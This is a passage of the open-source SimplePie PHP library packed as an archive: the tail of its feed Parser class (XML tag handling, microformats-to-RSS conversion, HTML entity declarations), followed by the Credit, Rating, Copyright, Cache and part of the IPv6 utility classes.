$base = $this->registry->call(Misc::class, 'absolutize_url', [$attribs[\SimplePie\SimplePie::NAMESPACE_XML]['base'], end($this->xml_base)]);
if ($base !== false) {
$this->xml_base[] = $base;
$this->xml_base_explicit[] = true;
}
} else {
$this->xml_base[] = end($this->xml_base) ?: '';
$this->xml_base_explicit[] = end($this->xml_base_explicit);
}
if (isset($attribs[\SimplePie\SimplePie::NAMESPACE_XML]['lang'])) {
$this->xml_lang[] = $attribs[\SimplePie\SimplePie::NAMESPACE_XML]['lang'];
} else {
$this->xml_lang[] = end($this->xml_lang) ?: '';
}
if ($this->current_xhtml_construct >= 0) {
$this->current_xhtml_construct++;
if (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_XHTML) {
$this->data['data'] .= '<' . end($this->element);
if (isset($attribs[''])) {
foreach ($attribs[''] as $name => $value) {
$this->data['data'] .= ' ' . $name . '="' . htmlspecialchars($value, ENT_COMPAT, $this->encoding) . '"';
}
}
$this->data['data'] .= '>';
}
} else {
$this->datas[] = &$this->data;
$this->data = &$this->data['child'][end($this->namespace)][end($this->element)][];
$this->data = ['data' => '', 'attribs' => $attribs, 'xml_base' => end($this->xml_base), 'xml_base_explicit' => end($this->xml_base_explicit), 'xml_lang' => end($this->xml_lang)];
if ((end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_ATOM_03 && in_array(end($this->element), ['title', 'tagline', 'copyright', 'info', 'summary', 'content']) && isset($attribs['']['mode']) && $attribs['']['mode'] === 'xml')
|| (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_ATOM_10 && in_array(end($this->element), ['rights', 'subtitle', 'summary', 'info', 'title', 'content']) && isset($attribs['']['type']) && $attribs['']['type'] === 'xhtml')
|| (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_20 && in_array(end($this->element), ['title']))
|| (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_090 && in_array(end($this->element), ['title']))
|| (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_10 && in_array(end($this->element), ['title']))) {
$this->current_xhtml_construct = 0;
}
}
}
/**
* @param XMLParser|resource|null $parser
* @return void
*/
public function cdata($parser, string $cdata)
{
if ($this->current_xhtml_construct >= 0) {
$this->data['data'] .= htmlspecialchars($cdata, ENT_QUOTES, $this->encoding);
} else {
$this->data['data'] .= $cdata;
}
}
/**
* @param XMLParser|resource|null $parser
* @return void
*/
public function tag_close($parser, string $tag)
{
if ($this->current_xhtml_construct >= 0) {
$this->current_xhtml_construct--;
if (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_XHTML && !in_array(end($this->element), ['area', 'base', 'basefont', 'br', 'col', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param'])) {
$this->data['data'] .= '</' . end($this->element) . '>';
}
}
if ($this->current_xhtml_construct === -1) {
$this->data = &$this->datas[count($this->datas) - 1];
array_pop($this->datas);
}
array_pop($this->element);
array_pop($this->namespace);
array_pop($this->xml_base);
array_pop($this->xml_base_explicit);
array_pop($this->xml_lang);
}
/**
* @return array{string, string}
*/
public function split_ns(string $string)
{
static $cache = [];
if (!isset($cache[$string])) {
if ($pos = strpos($string, $this->separator)) {
static $separator_length;
if (!$separator_length) {
$separator_length = strlen($this->separator);
}
$namespace = substr($string, 0, $pos);
$local_name = substr($string, $pos + $separator_length);
if (strtolower($namespace) === \SimplePie\SimplePie::NAMESPACE_ITUNES) {
$namespace = \SimplePie\SimplePie::NAMESPACE_ITUNES;
}
// Normalize the Media RSS namespaces
if ($namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG ||
$namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG2 ||
$namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG3 ||
$namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG4 ||
$namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG5) {
$namespace = \SimplePie\SimplePie::NAMESPACE_MEDIARSS;
}
$cache[$string] = [$namespace, $local_name];
} else {
$cache[$string] = ['', $string];
}
}
return $cache[$string];
}
/**
* @param array<string, mixed> $data
*/
private function parse_hcard(array $data, bool $category = false): string
{
$name = '';
$link = '';
// Check if h-card is set and pass that information on in the link.
if (isset($data['type']) && in_array('h-card', $data['type'])) {
if (isset($data['properties']['name'][0])) {
$name = $data['properties']['name'][0];
}
if (isset($data['properties']['url'][0])) {
$link = $data['properties']['url'][0];
if ($name === '') {
$name = $link;
} else {
// can't have commas in categories.
$name = str_replace(',', '', $name);
}
$person_tag = $category ? '<span class="person-tag"></span>' : '';
return '<a class="h-card" href="'.$link.'">'.$person_tag.$name.'</a>';
}
}
return $data['value'] ?? '';
}
/**
* @return true
*/
private function parse_microformats(string &$data, string $url): bool
{
// For PHPStan, we already check that in call site.
\assert(function_exists('Mf2\parse'));
\assert(function_exists('Mf2\fetch'));
$feed_title = '';
$feed_author = null;
$author_cache = [];
$items = [];
$entries = [];
$mf = \Mf2\parse($data, $url);
// First look for an h-feed.
$h_feed = [];
foreach ($mf['items'] as $mf_item) {
if (in_array('h-feed', $mf_item['type'])) {
$h_feed = $mf_item;
break;
}
// Also look for h-feed or h-entry in the children of each top level item.
if (!isset($mf_item['children'][0]['type'])) {
continue;
}
if (in_array('h-feed', $mf_item['children'][0]['type'])) {
$h_feed = $mf_item['children'][0];
// In this case the parent of the h-feed may be an h-card, so use it as
// the feed_author.
if (in_array('h-card', $mf_item['type'])) {
$feed_author = $mf_item;
}
break;
} elseif (in_array('h-entry', $mf_item['children'][0]['type'])) {
$entries = $mf_item['children'];
// In this case the parent of the h-entry list may be an h-card, so use
// it as the feed_author.
if (in_array('h-card', $mf_item['type'])) {
$feed_author = $mf_item;
}
break;
}
}
if (isset($h_feed['children'])) {
$entries = $h_feed['children'];
// Also set the feed title and store author from the h-feed if available.
if (isset($mf['items'][0]['properties']['name'][0])) {
$feed_title = $mf['items'][0]['properties']['name'][0];
}
if (isset($mf['items'][0]['properties']['author'][0])) {
$feed_author = $mf['items'][0]['properties']['author'][0];
}
} elseif (count($entries) === 0) {
$entries = $mf['items'];
}
for ($i = 0; $i < count($entries); $i++) {
$entry = $entries[$i];
if (in_array('h-entry', $entry['type'])) {
$item = [];
$title = '';
$description = '';
if (isset($entry['properties']['url'][0])) {
$link = $entry['properties']['url'][0];
if (isset($link['value'])) {
$link = $link['value'];
}
$item['link'] = [['data' => $link]];
}
if (isset($entry['properties']['uid'][0])) {
$guid = $entry['properties']['uid'][0];
if (isset($guid['value'])) {
$guid = $guid['value'];
}
$item['guid'] = [['data' => $guid]];
}
if (isset($entry['properties']['name'][0])) {
$title = $entry['properties']['name'][0];
if (isset($title['value'])) {
$title = $title['value'];
}
$item['title'] = [['data' => $title]];
}
if (isset($entry['properties']['author'][0]) || isset($feed_author)) {
// author is a special case, it can be plain text or an h-card array.
// If it's plain text it can also be a url that should be followed to
// get the actual h-card.
$author = $entry['properties']['author'][0] ?? $feed_author;
if (!is_string($author)) {
$author = $this->parse_hcard($author);
} elseif (strpos($author, 'http') === 0) {
if (isset($author_cache[$author])) {
$author = $author_cache[$author];
} else {
if ($mf = \Mf2\fetch($author)) {
foreach ($mf['items'] as $hcard) {
// Only interested in an h-card by itself in this case.
if (!in_array('h-card', $hcard['type'])) {
continue;
}
// It must have a url property matching what we fetched.
if (!isset($hcard['properties']['url']) ||
!(in_array($author, $hcard['properties']['url']))) {
continue;
}
// Save parse_hcard the trouble of finding the correct url.
$hcard['properties']['url'][0] = $author;
// Cache this h-card for the next h-entry to check.
$author_cache[$author] = $this->parse_hcard($hcard);
$author = $author_cache[$author];
break;
}
}
}
}
$item['author'] = [['data' => $author]];
}
if (isset($entry['properties']['photo'][0])) {
// If a photo is also in content, don't need to add it again here.
$content = '';
if (isset($entry['properties']['content'][0]['html'])) {
$content = $entry['properties']['content'][0]['html'];
}
$photo_list = [];
for ($j = 0; $j < count($entry['properties']['photo']); $j++) {
$photo = $entry['properties']['photo'][$j];
if (!empty($photo) && strpos($content, $photo) === false) {
$photo_list[] = $photo;
}
}
// When there's more than one photo show the first and use a lightbox.
// Need a permanent, unique name for the image set, but don't have
// anything unique except for the content itself, so use that.
$count = count($photo_list);
if ($count > 1) {
$image_set_id = preg_replace('/[[:^alnum:]]/', '', $photo_list[0]);
$description = '<p>';
for ($j = 0; $j < $count; $j++) {
$hidden = $j === 0 ? '' : 'class="hidden" ';
$description .= '<a href="'.$photo_list[$j].'" '.$hidden.
'data-lightbox="image-set-'.$image_set_id.'">'.
'<img src="'.$photo_list[$j].'"></a>';
}
$description .= '<br><b>'.$count.' photos</b></p>';
} elseif ($count == 1) {
$description = '<p><img src="'.$photo_list[0].'"></p>';
}
}
if (isset($entry['properties']['content'][0]['html'])) {
// e-content['value'] is the same as p-name when they are on the same
// element. Use this to replace title with a strip_tags version so
// that alt text from images is not included in the title.
if ($entry['properties']['content'][0]['value'] === $title) {
$title = strip_tags($entry['properties']['content'][0]['html']);
$item['title'] = [['data' => $title]];
}
$description .= $entry['properties']['content'][0]['html'];
if (isset($entry['properties']['in-reply-to'][0])) {
$in_reply_to = '';
if (is_string($entry['properties']['in-reply-to'][0])) {
$in_reply_to = $entry['properties']['in-reply-to'][0];
} elseif (isset($entry['properties']['in-reply-to'][0]['value'])) {
$in_reply_to = $entry['properties']['in-reply-to'][0]['value'];
}
if ($in_reply_to !== '') {
$description .= '<p><span class="in-reply-to"></span> '.
'<a href="'.$in_reply_to.'">'.$in_reply_to.'</a><p>';
}
}
$item['description'] = [['data' => $description]];
}
if (isset($entry['properties']['category'])) {
$category_csv = '';
// Categories can also contain h-cards.
foreach ($entry['properties']['category'] as $category) {
if ($category_csv !== '') {
$category_csv .= ', ';
}
if (is_string($category)) {
// Can't have commas in categories.
$category_csv .= str_replace(',', '', $category);
} else {
$category_csv .= $this->parse_hcard($category, true);
}
}
$item['category'] = [['data' => $category_csv]];
}
if (isset($entry['properties']['published'][0])) {
$timestamp = strtotime($entry['properties']['published'][0]);
$pub_date = date('F j Y g:ia', $timestamp).' GMT';
$item['pubDate'] = [['data' => $pub_date]];
}
// The title and description are set to the empty string to represent
// a deleted item (which also makes it an invalid rss item).
if (isset($entry['properties']['deleted'][0])) {
$item['title'] = [['data' => '']];
$item['description'] = [['data' => '']];
}
$items[] = ['child' => ['' => $item]];
}
}
// Mimic RSS data format when storing microformats.
$link = [['data' => $url]];
$image = '';
if (!is_string($feed_author) &&
isset($feed_author['properties']['photo'][0])) {
$image = [['child' => ['' => ['url' =>
[['data' => $feed_author['properties']['photo'][0]]]]]]];
}
// Use the name given for the h-feed, or get the title from the html.
if ($feed_title !== '') {
$feed_title = [['data' => htmlspecialchars($feed_title)]];
} elseif ($position = strpos($data, '<title>')) {
$start = $position < 200 ? 0 : $position - 200;
$check = substr($data, $start, 400);
$matches = [];
if (preg_match('/<title>(.+)<\/title>/', $check, $matches)) {
$feed_title = [['data' => htmlspecialchars($matches[1])]];
}
}
$channel = ['channel' => [['child' => ['' =>
['link' => $link, 'image' => $image, 'title' => $feed_title,
'item' => $items]]]]];
$rss = [['attribs' => ['' => ['version' => '2.0']],
'child' => ['' => $channel]]];
$this->data = ['child' => ['' => ['rss' => $rss]]];
return true;
}
private static function set_doctype(string $data): string
{
// Strip DOCTYPE except if containing an [internal subset]
$data = preg_replace('/^\\s*<!DOCTYPE\\s[^>\\[\\]]*>\s*/', '', $data) ?? $data;
// Declare HTML entities only if no remaining DOCTYPE
$doctype = preg_match('/^\\s*<!DOCTYPE\\s/', $data) ? '' : self::declare_html_entities();
return $doctype . $data;
}
private static function declare_html_entities(): string
{
// This is required because the RSS specification says that entity-encoded
// html is allowed, but the xml specification says they must be declared.
return '<!DOCTYPE rss [ <!ENTITY nbsp " "> <!ENTITY iexcl "¡"> <!ENTITY cent "¢"> <!ENTITY pound "£"> <!ENTITY curren "¤"> <!ENTITY yen "¥"> <!ENTITY brvbar "¦"> <!ENTITY sect "§"> <!ENTITY uml "¨"> <!ENTITY copy "©"> <!ENTITY ordf "ª"> <!ENTITY laquo "«"> <!ENTITY not "¬"> <!ENTITY shy "­"> <!ENTITY reg "®"> <!ENTITY macr "¯"> <!ENTITY deg "°"> <!ENTITY plusmn "±"> <!ENTITY sup2 "²"> <!ENTITY sup3 "³"> <!ENTITY acute "´"> <!ENTITY micro "µ"> <!ENTITY para "¶"> <!ENTITY middot "·"> <!ENTITY cedil "¸"> <!ENTITY sup1 "¹"> <!ENTITY ordm "º"> <!ENTITY raquo "»"> <!ENTITY frac14 "¼"> <!ENTITY frac12 "½"> <!ENTITY frac34 "¾"> <!ENTITY iquest "¿"> <!ENTITY Agrave "À"> <!ENTITY Aacute "Á"> <!ENTITY Acirc "Â"> <!ENTITY Atilde "Ã"> <!ENTITY Auml "Ä"> <!ENTITY Aring "Å"> <!ENTITY AElig "Æ"> <!ENTITY Ccedil "Ç"> <!ENTITY Egrave "È"> <!ENTITY Eacute "É"> <!ENTITY Ecirc "Ê"> <!ENTITY Euml "Ë"> <!ENTITY Igrave "Ì"> <!ENTITY Iacute "Í"> <!ENTITY Icirc "Î"> <!ENTITY Iuml "Ï"> <!ENTITY ETH "Ð"> <!ENTITY Ntilde "Ñ"> <!ENTITY Ograve "Ò"> <!ENTITY Oacute "Ó"> <!ENTITY Ocirc "Ô"> <!ENTITY Otilde "Õ"> <!ENTITY Ouml "Ö"> <!ENTITY times "×"> <!ENTITY Oslash "Ø"> <!ENTITY Ugrave "Ù"> <!ENTITY Uacute "Ú"> <!ENTITY Ucirc "Û"> <!ENTITY Uuml "Ü"> <!ENTITY Yacute "Ý"> <!ENTITY THORN "Þ"> <!ENTITY szlig "ß"> <!ENTITY agrave "à"> <!ENTITY aacute "á"> <!ENTITY acirc "â"> <!ENTITY atilde "ã"> <!ENTITY auml "ä"> <!ENTITY aring "å"> <!ENTITY aelig "æ"> <!ENTITY ccedil "ç"> <!ENTITY egrave "è"> <!ENTITY eacute "é"> <!ENTITY ecirc "ê"> <!ENTITY euml "ë"> <!ENTITY igrave "ì"> <!ENTITY iacute "í"> <!ENTITY icirc "î"> <!ENTITY iuml "ï"> <!ENTITY eth "ð"> <!ENTITY ntilde "ñ"> <!ENTITY ograve "ò"> <!ENTITY oacute "ó"> <!ENTITY ocirc "ô"> <!ENTITY otilde "õ"> <!ENTITY ouml "ö"> <!ENTITY divide "÷"> <!ENTITY oslash "ø"> <!ENTITY ugrave "ù"> <!ENTITY uacute "ú"> <!ENTITY ucirc "û"> <!ENTITY uuml "ü"> <!ENTITY yacute "ý"> <!ENTITY thorn "þ"> <!ENTITY yuml "ÿ"> <!ENTITY OElig "Œ"> <!ENTITY oelig "œ"> <!ENTITY Scaron "Š"> <!ENTITY scaron "š"> <!ENTITY Yuml "Ÿ"> <!ENTITY fnof "ƒ"> <!ENTITY circ "ˆ"> <!ENTITY tilde "˜"> <!ENTITY Alpha "Α"> <!ENTITY Beta "Β"> <!ENTITY Gamma "Γ"> <!ENTITY Epsilon "Ε"> <!ENTITY Zeta "Ζ"> <!ENTITY Eta "Η"> <!ENTITY Theta "Θ"> <!ENTITY Iota "Ι"> <!ENTITY Kappa "Κ"> <!ENTITY Lambda "Λ"> <!ENTITY Mu "Μ"> <!ENTITY Nu "Ν"> <!ENTITY Xi "Ξ"> <!ENTITY Omicron "Ο"> <!ENTITY Pi "Π"> <!ENTITY Rho "Ρ"> <!ENTITY Sigma "Σ"> <!ENTITY Tau "Τ"> <!ENTITY Upsilon "Υ"> <!ENTITY Phi "Φ"> <!ENTITY Chi "Χ"> <!ENTITY Psi "Ψ"> <!ENTITY Omega "Ω"> <!ENTITY alpha "α"> <!ENTITY beta "β"> <!ENTITY gamma "γ"> <!ENTITY delta "δ"> <!ENTITY epsilon "ε"> <!ENTITY zeta "ζ"> <!ENTITY eta "η"> <!ENTITY theta "θ"> <!ENTITY iota "ι"> <!ENTITY kappa "κ"> <!ENTITY lambda "λ"> <!ENTITY mu "μ"> <!ENTITY nu "ν"> <!ENTITY xi "ξ"> <!ENTITY omicron "ο"> <!ENTITY pi "π"> <!ENTITY rho "ρ"> <!ENTITY sigmaf "ς"> <!ENTITY sigma "σ"> <!ENTITY tau "τ"> <!ENTITY upsilon "υ"> <!ENTITY phi "φ"> <!ENTITY chi "χ"> <!ENTITY psi "ψ"> <!ENTITY omega "ω"> <!ENTITY thetasym "ϑ"> <!ENTITY upsih "ϒ"> <!ENTITY piv "ϖ"> <!ENTITY ensp " "> <!ENTITY emsp " "> <!ENTITY thinsp " "> <!ENTITY zwnj "‌"> <!ENTITY zwj "‍"> <!ENTITY lrm "‎"> <!ENTITY rlm "‏"> <!ENTITY ndash "–"> <!ENTITY mdash "—"> <!ENTITY lsquo "‘"> <!ENTITY rsquo "’"> <!ENTITY sbquo "‚"> <!ENTITY ldquo "“"> <!ENTITY rdquo "”"> <!ENTITY bdquo "„"> <!ENTITY dagger "†"> <!ENTITY Dagger "‡"> <!ENTITY bull "•"> <!ENTITY hellip "…"> <!ENTITY permil "‰"> <!ENTITY prime "′"> <!ENTITY Prime "″"> <!ENTITY lsaquo "‹"> <!ENTITY rsaquo "›"> <!ENTITY oline "‾"> <!ENTITY frasl "⁄"> <!ENTITY euro "€"> <!ENTITY image "ℑ"> <!ENTITY weierp "℘"> <!ENTITY real "ℜ"> <!ENTITY trade "™"> <!ENTITY alefsym "ℵ"> <!ENTITY larr "←"> <!ENTITY uarr "↑"> <!ENTITY rarr "→"> <!ENTITY darr "↓"> <!ENTITY harr "↔"> <!ENTITY crarr "↵"> <!ENTITY lArr "⇐"> <!ENTITY uArr "⇑"> <!ENTITY rArr "⇒"> <!ENTITY dArr "⇓"> <!ENTITY hArr "⇔"> <!ENTITY forall "∀"> <!ENTITY part "∂"> <!ENTITY exist "∃"> <!ENTITY empty "∅"> <!ENTITY nabla "∇"> <!ENTITY isin "∈"> <!ENTITY notin "∉"> <!ENTITY ni "∋"> <!ENTITY prod "∏"> <!ENTITY sum "∑"> <!ENTITY minus "−"> <!ENTITY lowast "∗"> <!ENTITY radic "√"> <!ENTITY prop "∝"> <!ENTITY infin "∞"> <!ENTITY ang "∠"> <!ENTITY and "∧"> <!ENTITY or "∨"> <!ENTITY cap "∩"> <!ENTITY cup "∪"> <!ENTITY int "∫"> <!ENTITY there4 "∴"> <!ENTITY sim "∼"> <!ENTITY cong "≅"> <!ENTITY asymp "≈"> <!ENTITY ne "≠"> <!ENTITY equiv "≡"> <!ENTITY le "≤"> <!ENTITY ge "≥"> <!ENTITY sub "⊂"> <!ENTITY sup "⊃"> <!ENTITY nsub "⊄"> <!ENTITY sube "⊆"> <!ENTITY supe "⊇"> <!ENTITY oplus "⊕"> <!ENTITY otimes "⊗"> <!ENTITY perp "⊥"> <!ENTITY sdot "⋅"> <!ENTITY lceil "⌈"> <!ENTITY rceil "⌉"> <!ENTITY lfloor "⌊"> <!ENTITY rfloor "⌋"> <!ENTITY lang "〈"> <!ENTITY rang "〉"> <!ENTITY loz "◊"> <!ENTITY spades "♠"> <!ENTITY clubs "♣"> <!ENTITY hearts "♥"> <!ENTITY diams "♦"> ]>';
}
}
class_alias('SimplePie\Parser', 'SimplePie_Parser');
src/Credit.php 0000644 00000004140 15220516755 0007265 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
/**
* Handles `<media:credit>` as defined in Media RSS
*
* Used by {@see \SimplePie\Enclosure::get_credit()} and {@see \SimplePie\Enclosure::get_credits()}
*
* This class can be overloaded with {@see \SimplePie\SimplePie::set_credit_class()}
*/
class Credit
{
/**
* Credited role
*
* @var ?string
* @see get_role()
*/
public $role;
/**
* Organizational scheme
*
* @var ?string
* @see get_scheme()
*/
public $scheme;
/**
* Credited name
*
* @var ?string
* @see get_name()
*/
public $name;
/**
* Constructor, used to input the data
*
* For documentation on all the parameters, see the corresponding
* properties and their accessors
*/
public function __construct(
?string $role = null,
?string $scheme = null,
?string $name = null
) {
$this->role = $role;
$this->scheme = $scheme;
$this->name = $name;
}
/**
* String-ified version
*
* @return string
*/
public function __toString()
{
// There is no $this->data here
return md5(serialize($this));
}
/**
* Get the role of the person receiving credit
*
* @return string|null
*/
public function get_role()
{
if ($this->role !== null) {
return $this->role;
}
return null;
}
/**
* Get the organizational scheme
*
* @return string|null
*/
public function get_scheme()
{
if ($this->scheme !== null) {
return $this->scheme;
}
return null;
}
/**
* Get the credited person/entity's name
*
* @return string|null
*/
public function get_name()
{
if ($this->name !== null) {
return $this->name;
}
return null;
}
}
class_alias('SimplePie\Credit', 'SimplePie_Credit');
src/Rating.php 0000644 00000003402 15220516755 0007277 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
/**
* Handles `<media:rating>` or `<itunes:explicit>` tags as defined in Media RSS and iTunes RSS respectively
*
* Used by {@see \SimplePie\Enclosure::get_rating()} and {@see \SimplePie\Enclosure::get_ratings()}
*
* This class can be overloaded with {@see \SimplePie\SimplePie::set_rating_class()}
*/
class Rating
{
/**
* Rating scheme
*
* @var ?string
* @see get_scheme()
*/
public $scheme;
/**
* Rating value
*
* @var ?string
* @see get_value()
*/
public $value;
/**
* Constructor, used to input the data
*
* For documentation on all the parameters, see the corresponding
* properties and their accessors
*/
public function __construct(
?string $scheme = null,
?string $value = null
) {
$this->scheme = $scheme;
$this->value = $value;
}
/**
* String-ified version
*
* @return string
*/
public function __toString()
{
// There is no $this->data here
return md5(serialize($this));
}
/**
* Get the organizational scheme for the rating
*
* @return string|null
*/
public function get_scheme()
{
if ($this->scheme !== null) {
return $this->scheme;
}
return null;
}
/**
* Get the value of the rating
*
* @return string|null
*/
public function get_value()
{
if ($this->value !== null) {
return $this->value;
}
return null;
}
}
class_alias('SimplePie\Rating', 'SimplePie_Rating');
src/Copyright.php 0000644 00000003262 15220516755 0010027 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
/**
* Manages `<media:copyright>` copyright tags as defined in Media RSS
*
* Used by {@see \SimplePie\Enclosure::get_copyright()}
*
* This class can be overloaded with {@see \SimplePie\SimplePie::set_copyright_class()}
*/
class Copyright
{
/**
* Copyright URL
*
* @var ?string
* @see get_url()
*/
public $url;
/**
* Attribution
*
* @var ?string
* @see get_attribution()
*/
public $label;
/**
* Constructor, used to input the data
*
* For documentation on all the parameters, see the corresponding
* properties and their accessors
*/
public function __construct(
?string $url = null,
?string $label = null
) {
$this->url = $url;
$this->label = $label;
}
/**
* String-ified version
*
* @return string
*/
public function __toString()
{
// There is no $this->data here
return md5(serialize($this));
}
/**
* Get the copyright URL
*
* @return string|null URL to copyright information
*/
public function get_url()
{
if ($this->url !== null) {
return $this->url;
}
return null;
}
/**
* Get the attribution text
*
* @return string|null
*/
public function get_attribution()
{
if ($this->label !== null) {
return $this->label;
}
return null;
}
}
class_alias('SimplePie\Copyright', 'SimplePie_Copyright');
src/Cache.php 0000644 00000006260 15220516755 0007063 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
use SimplePie\Cache\Base;
/**
* Used to create cache objects
*
* This class can be overloaded with {@see SimplePie::set_cache_class()},
* although the preferred way is to create your own handler
* via {@see register()}
*
* @deprecated since SimplePie 1.8.0, use "SimplePie\SimplePie::set_cache()" instead
*/
class Cache
{
/**
* Cache handler classes
*
* These receive 3 parameters to their constructor, as documented in
* {@see register()}
* @var array<string, class-string<Base>>
*/
protected static $handlers = [
'mysql' => Cache\MySQL::class,
'memcache' => Cache\Memcache::class,
'memcached' => Cache\Memcached::class,
'redis' => Cache\Redis::class,
];
/**
* Don't call the constructor. Please.
*/
private function __construct()
{
}
/**
* Create a new SimplePie\Cache object
*
* @param string $location URL location (scheme is used to determine handler)
* @param string $filename Unique identifier for cache object
* @param Base::TYPE_FEED|Base::TYPE_IMAGE $extension 'spi' or 'spc'
* @return Base Type of object depends on scheme of `$location`
*/
public static function get_handler(string $location, string $filename, $extension)
{
$type = explode(':', $location, 2);
$type = $type[0];
if (!empty(self::$handlers[$type])) {
$class = self::$handlers[$type];
return new $class($location, $filename, $extension);
}
return new \SimplePie\Cache\File($location, $filename, $extension);
}
/**
* Create a new SimplePie\Cache object
*
* @deprecated since SimplePie 1.3.1, use {@see get_handler()} instead
* @param string $location
* @param string $filename
* @param Base::TYPE_FEED|Base::TYPE_IMAGE $extension
* @return Base
*/
public function create(string $location, string $filename, $extension)
{
trigger_error('Cache::create() has been replaced with Cache::get_handler() since SimplePie 1.3.1, use the registry system instead.', \E_USER_DEPRECATED);
return self::get_handler($location, $filename, $extension);
}
/**
* Register a handler
*
* @param string $type DSN type to register for
* @param class-string<Base> $class Name of handler class. Must implement Base
* @return void
*/
public static function register(string $type, $class)
{
self::$handlers[$type] = $class;
}
/**
* Parse a URL into an array
*
* @param string $url
* @return array<string, mixed>
*/
public static function parse_URL(string $url)
{
$parsedUrl = parse_url($url);
if ($parsedUrl === false) {
return [];
}
$params = array_merge($parsedUrl, ['extras' => []]);
if (isset($params['query'])) {
parse_str($params['query'], $params['extras']);
}
return $params;
}
}
class_alias('SimplePie\Cache', 'SimplePie_Cache');
src/Net/IPv6.php 0000644 00000016324 15220516755 0007374 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\Net;
/**
* Class to validate and to work with IPv6 addresses.
*
* @copyright 2003-2005 The PHP Group
* @license http://www.opensource.org/licenses/bsd-license.php
* @link http://pear.php.net/package/Net_IPv6
* @author Alexander Merz <alexander.merz@web.de>
* @author elfrink at introweb dot nl
* @author Josh Peck <jmp at joshpeck dot org>
* @author Sam Sneddon <geoffers@gmail.com>
*/
class IPv6
{
/**
* Uncompresses an IPv6 address
*
* RFC 4291 allows you to compress consecutive zero pieces in an address to
* '::'. This method expects a valid IPv6 address and expands the '::' to
* the required number of zero pieces.
*
* Example: FF01::101 -> FF01:0:0:0:0:0:0:101
* ::1 -> 0:0:0:0:0:0:0:1
*
* @author Alexander Merz <alexander.merz@web.de>
* @author elfrink at introweb dot nl
* @author Josh Peck <jmp at joshpeck dot org>
* @copyright 2003-2005 The PHP Group
* @license http://www.opensource.org/licenses/bsd-license.php
* @param string $ip An IPv6 address
* @return string The uncompressed IPv6 address
*/
public static function uncompress(string $ip)
{
$c1 = -1;
$c2 = -1;
if (substr_count($ip, '::') === 1) {
[$ip1, $ip2] = explode('::', $ip);
if ($ip1 === '') {
$c1 = -1;
} else {
$c1 = substr_count($ip1, ':');
}
if ($ip2 === '') {
$c2 = -1;
} else {
$c2 = substr_count($ip2, ':');
}
if (strpos($ip2, '.') !== false) {
$c2++;
}
// ::
if ($c1 === -1 && $c2 === -1) {
$ip = '0:0:0:0:0:0:0:0';
}
// ::xxx
elseif ($c1 === -1) {
$fill = str_repeat('0:', 7 - $c2);
$ip = str_replace('::', $fill, $ip);
}
// xxx::
elseif ($c2 === -1) {
$fill = str_repeat(':0', 7 - $c1);
$ip = str_replace('::', $fill, $ip);
}
// xxx::xxx
else {
$fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
$ip = str_replace('::', $fill, $ip);
}
}
return $ip;
}
/**
* Compresses an IPv6 address
*
* RFC 4291 allows you to compress consecutive zero pieces in an address to
* '::'. This method expects a valid IPv6 address and compresses consecutive
* zero pieces to '::'.
*
* Example: FF01:0:0:0:0:0:0:101 -> FF01::101
* 0:0:0:0:0:0:0:1 -> ::1
*
* @see uncompress()
* @param string $ip An IPv6 address
* @return string The compressed IPv6 address
*/
public static function compress(string $ip)
{
// Prepare the IP to be compressed
$ip = self::uncompress($ip);
$ip_parts = self::split_v6_v4($ip);
// Replace all leading zeros
$ip_parts[0] = (string) preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);
// Find bunches of zeros
if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) {
$max = 0;
$pos = null;
foreach ($matches[0] as $match) {
if (strlen($match[0]) > $max) {
$max = strlen($match[0]);
$pos = $match[1];
}
}
assert($pos !== null, 'For PHPStan: Since the regex matched, there is at least one match. And because the pattern is non-empty, the loop will always end with $pos ≥ 1.');
$ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
}
if ($ip_parts[1] !== '') {
return implode(':', $ip_parts);
}
return $ip_parts[0];
}
/**
* Splits an IPv6 address into the IPv6 and IPv4 representation parts
*
* RFC 4291 allows you to represent the last two parts of an IPv6 address
* using the standard IPv4 representation
*
* Example: 0:0:0:0:0:0:13.1.68.3
* 0:0:0:0:0:FFFF:129.144.52.38
*
* @param string $ip An IPv6 address
* @return array{string, string} [0] contains the IPv6 represented part, and [1] the IPv4 represented part
*/
private static function split_v6_v4(string $ip): array
{
if (strpos($ip, '.') !== false) {
$pos = strrpos($ip, ':');
assert($pos !== false, 'For PHPStan: IPv6 address must contain colon, since split_v6_v4 is only ever called after uncompress.');
$ipv6_part = substr($ip, 0, $pos);
$ipv4_part = substr($ip, $pos + 1);
return [$ipv6_part, $ipv4_part];
}
return [$ip, ''];
}
/**
* Checks an IPv6 address
*
